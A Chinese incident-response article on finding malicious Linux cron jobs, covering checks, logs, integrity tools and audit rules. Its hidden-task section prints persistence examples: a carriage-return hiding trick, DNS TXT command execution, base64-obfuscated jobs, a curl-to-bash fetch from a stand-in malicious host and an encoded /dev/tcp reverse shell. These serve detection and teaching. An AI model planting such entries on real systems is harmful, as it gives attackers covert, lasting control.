0x00 免责声明
本公众号文章中的程序、方法、信息和工具仅用于安全研究、教学、网络安全人员对网站及服务器的检测维护,禁止用于其他非法用途。使用者对不当使用造成的后果承担全部法律及连带责任,作者和公众号不担责。文中安全漏洞情报依公开信息整理,据此行动风险自担,如有侵权请告知。
在数字取证与事件响应(DFIR)中,Linux 计划任务是安全人员自动化任务、定期收集数据和执行响应措施的核心工具。然而,这些机制也常被攻击者滥用,用于实现恶意程序的持久化、定时触发恶意行为或隐藏攻击痕迹。以下将全面分析 Linux 中的计划任务工具及其排查方法,涵盖 cron、at、anacron 和 systemd timers。
0x01 Linux 计划任务概述
Linux 计划任务工具主要包括以下几类:
-
Cron:用于周期性执行任务。
-
At:用于安排一次性任务。
-
Anacron:确保错过的任务在系统启动后执行。
-
Systemd Timers:现代化的计划任务机制,灵活支持复杂触发条件。
0x02 Cron 服务
2.1 基本概述
-
功能:Cron 是 Linux/Unix 系统中的任务调度器,用于按照时间计划执行命令或脚本。
-
原理:
-
后台服务
crond
每分钟检查任务配置文件,并按时执行对应任务。 -
用户通过
crontab
命令管理自己的计划任务。
2.2 服务状态检查
systemctl status crond
service crond status
/etc/init.d/crond status
2.3 Crontab 文件与配置
2.3.1 文件格式与任务语法
● 基本语法:
# 分钟 (0-59) 小时 (0-23) 日 (1-31) 月 (1-12) 星期 (0-6) 命令
* * * * * /path/to/command
● 示例:
# 每天凌晨 1:30 运行脚本
30 1 * * * /bin/bash /path/to/script.sh
# 每周一上午 9:00 运行
0 9 * * 1 /usr/local/bin/task.sh
📷
2.3.2 相关文件和目录
-
用户级计划任务存储位置:
-
/var/spool/cron/<用户名>
:存储每个用户的计划任务。
-
系统级任务:[/etc/cron*]
-
/etc/crontab
:全局计划任务配置文件。 -
/etc/cron.d/
:存放其他系统任务配置文件。
-
定期任务脚本目录:
-
/etc/cron.hourly/
:每小时任务。 -
/etc/cron.daily/
:每日任务。 -
/etc/cron.weekly/
:每周任务。 -
/etc/cron.monthly/
:每月任务。
2.3.3 权限控制
-
限制用户使用 Cron:
-
/etc/cron.allow
:允许使用 Cron 的用户名列表。 -
/etc/cron.deny
:禁止使用 Cron 的用户名列表。
2.4 Cron 常用命令
2.4.1 常规操作
-
查看当前用户的任务:
crontab -l
-
编辑计划任务:
crontab -e
-
删除所有任务:
crontab -r
2.4.2 关联命令
● 检查 crontab 程序位置:
which crontab# 输出示例:/usr/bin/crontab
● 查看 crontab 所属程序包:
rpm -qf /usr/bin/crontab# 用于识别安装了 /usr/bin/crontab 文件的软件包。
● 列出相关文件:
rpm -ql crontabs# 列出系统中与管理 crontab 任务相关的文件。
rpm -ql cronie# 列出系统中与 cron 守护进程相关的文件。
2.5 Cron 排查
2.5.1 任务执行与修改
1. 检查 cron 服务状态
● 确保服务正常运行:
systemctl status crond
如服务未启动,可通过以下命令启动:
systemctl start crond
2. 查看用户与系统任务
● 用户任务:
ls -lart /var/spool/cron
cat /var/spool/cron/<用户名>
● 系统任务:
cat /etc/crontab
ls -l /etc/cron.d/
可直接:ls -al /etc/cron* 再分别查看(ls -lart /etc/cron*)
# ① 排序:ls -al 默认不排序,而 ls -lart 会根据最后修改时间从旧到新排序。② 显示内容:两者都会显示所有文件和目录的详细信息,包括隐藏文件。
3. 分析日志
● 检查 cron 服务的执行日志:
grep 'CRON' /var/log/syslog 适用Debian/Ubuntu
more /var/log/cron* 适用Red Hat/CentOS
写成脚本判断输出:
if [ -f /var/log/syslog ]; then
grep 'CRON' /var/log/syslog
elif [ -f /var/log/cron ]; then
grep 'CRON' /var/log/cron
else
echo "Cron logs not found in standard locations."
fi
2.5.2 可疑任务与文件修改
1. 排查潜在恶意任务
● 搜索可能涉及网络行为或脚本执行的任务:🎯
grep -Ei "(wget|curl|nc|bash|sh|python|echo|base64)" /var/spool/cron/* /etc/cron*
2. 检查最近修改的任务文件
● 查找最近 7 天内更改的文件:
find /etc/cron* /var/spool/cron -type f -mtime -7
● 查看文件元信息:
stat /var/spool/cron/<username>
3. 文件完整性验证
● 确保 cron 相关软件包未被篡改:
rpm -V cronie
4. 跟踪文件修改(需安装 auditd)
● 设置监控规则:
auditctl -w /var/spool/cron -p war -k cron_watch
● 查看监控记录:
ausearch -k cron_watch
5. 对比内容变化
● 分析任务文件内容的变更(提前备份):
diff /path/to/backup/cron_file /var/spool/cron/root
2.5.3 日志分析:任务执行与修改记录
1. cron 执行日志
● 示例日志:
Nov 21 14:00:01 hostname CROND[12345]: (username) CMD (/path/to/script.sh)
○ 时间戳:任务触发时间,如 Nov 21 14:00:01
○ 用户:执行任务的用户
○ 命令:执行的任务命令
日志筛选命令:
● 筛选最近 7 天的任务:
grep 'CRON' /var/log/cron | grep "$(date --date='7 days ago' '+%b %d')"
● 按特定时间筛选(如下午 2:00 到 4:00):
grep 'CRON' /var/log/cron | awk '$3 ~ /^1[4-6]:[0-5][0-9]$/ {print}'
2. crontab 修改日志
● 示例日志:
Nov 21 14:05:23 hostname crontab[67890]: (username) BEGIN EDIT (username)
Nov 21 14:07:45 hostname crontab[67890]: (username) REPLACE (username)
○ 类型:
■ BEGIN EDIT:开始编辑
■ REPLACE:替换任务
■ END EDIT:编辑完成
日志筛选命令:
● 查找非 root 用户的修改:🎯
grep 'crontab' /var/log/secure | grep -v 'root'
● 查看任务替换历史:
grep 'REPLACE' /var/log/secure
```bash
● 搜索删除操作记录:
```bash
grep 'crontab' /var/log/secure | grep 'DELETE'
2.5.4 隐藏计划任务原理及排查🎯🎯
(1) 利用特殊字符覆盖
● 回车符(r): 将光标移到行首,覆盖掉原有的内容。
● 空字符( NULL字符 ): 进一步填充空字符,使隐藏的内容更加难以察觉。
● 其他特殊字符: 如换行符、制表符等,也可以起到干扰作用。
示例:
printf "*/1 * * * * /home/y1x1n/test.sh;rno crontab for `whoami`%100cn"
# 在 C 语言的 printf 函数中,%c 是一个格式说明符,表示输出一个字符。
# 100: 这个数字表示输出的宽度。也就是说,会输出100个字符。
# c: 表示输出的是一个字符。
# 由于没有指定具体的字符,所以会输出100个当前字符集中的第一个字符,通常是空字符(NULL字符)。
# 通过输出大量空字符,可以覆盖掉前面输出的内容,达到隐藏的目的。
📷
写入 cron 任务:
(crontab -l;printf "*/1 * * * * /home/y1x1n/test.sh;rno crontab for `whoami`%15cn")|crontab -
效果及排查方法:
crontab -e 📷
cat -A 📷
(2) 利用DNS 的 TXT 记录存储和传递恶意或任意命令
计划任务:
0 1 * * * /bin/sh -c "sh -c $(dig logging.chat TXT +short @pola.ns.cloudflare.com)"
● dig logging.chat TXT +short @pola.ns.cloudflare.com:
○ 使用 dig 工具解析指定域名的 TXT 记录。
○ +short 参数使输出仅包含实际 TXT 数据。
○ @pola.ns.cloudflare.com 指定使用的 DNS 服务器(可自定义为控制者的服务器)。
● sh -c $(...):将解析结果作为命令传递给 sh 执行。
TXT 记录的内容:
● TXT 记录中可以是任意的 shell 命令或恶意代码,如:
● 这种方式将动态获取的 TXT 数据直接当作命令执行。
执行效果:
● 每次运行计划任务时,都会实时解析 TXT 记录,执行当前存储的命令。
● 攻击者可以动态修改 TXT 记录内容,实现随时更改目标执行的操作。
参考:https://blog.sucuri.net/2019/05/cronjob-backdoors.html
(3) 其他技巧
● 编码: 对恶意命令进行编码,增加检测难度。
● 混淆: 使用复杂的语法结构,增加代码的可读性。
* * * * sh -c "$(echo L2hvbWUveTF4MW4vZXZpbC5zaA== | base64 -d)" 2>/dev/null >/dev/random
* * * * echo L2hvbWUveTF4MW4vZXZpbC5zaA== | base64 -d | bash 2>/dev/null >/dev/random
● 利用系统漏洞: 通过系统漏洞,绕过安全防护。
● 创建一个新的crontab文件: 将隐藏的命令写入一个新的crontab文件中,然后使用crontab <filename>命令加载。
# 在 .bashrc 或 .bash_profile 中添加
export MALWARE="/tmp/.malware.sh"
chmod +x /tmp/.malware.sh
#!/bin/bash
# .malware.sh示例
curl -s http://malicious.server/payload.sh | bash
# 在 crontab 中引用
* * * * * $MALWARE
export RS="bash -i >& /dev/tcp/$(echo YXR0YWNrZXJfaXA= | base64 -d)/$(echo YXR0YWNrZXJfcG9ydA== | base64 -d) 0>&1"
* * * * * eval $RS
📝总体来说, 这些方式都比较容易进行排查,无非是细心一些~
在本期内容中,我们深入探讨了 cron 的世界,从基础排查到隐藏任务,一起揭开了这个强大工具的神秘面纱。但时间的旅程从未停歇,我们的探索也将继续。在下一期,我们将拓展视野,一起探索 at、anacron 以及 systemd timers 的奥秘,这些工具同样在时间管理的舞台上扮演着重要角色。请继续关注,我们下期再会,不见不散!✨
原文始发于微信公众号(Y1X1n安全):[01]应急响应-Linux 计划任务与 DFIR 排查实践(一)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论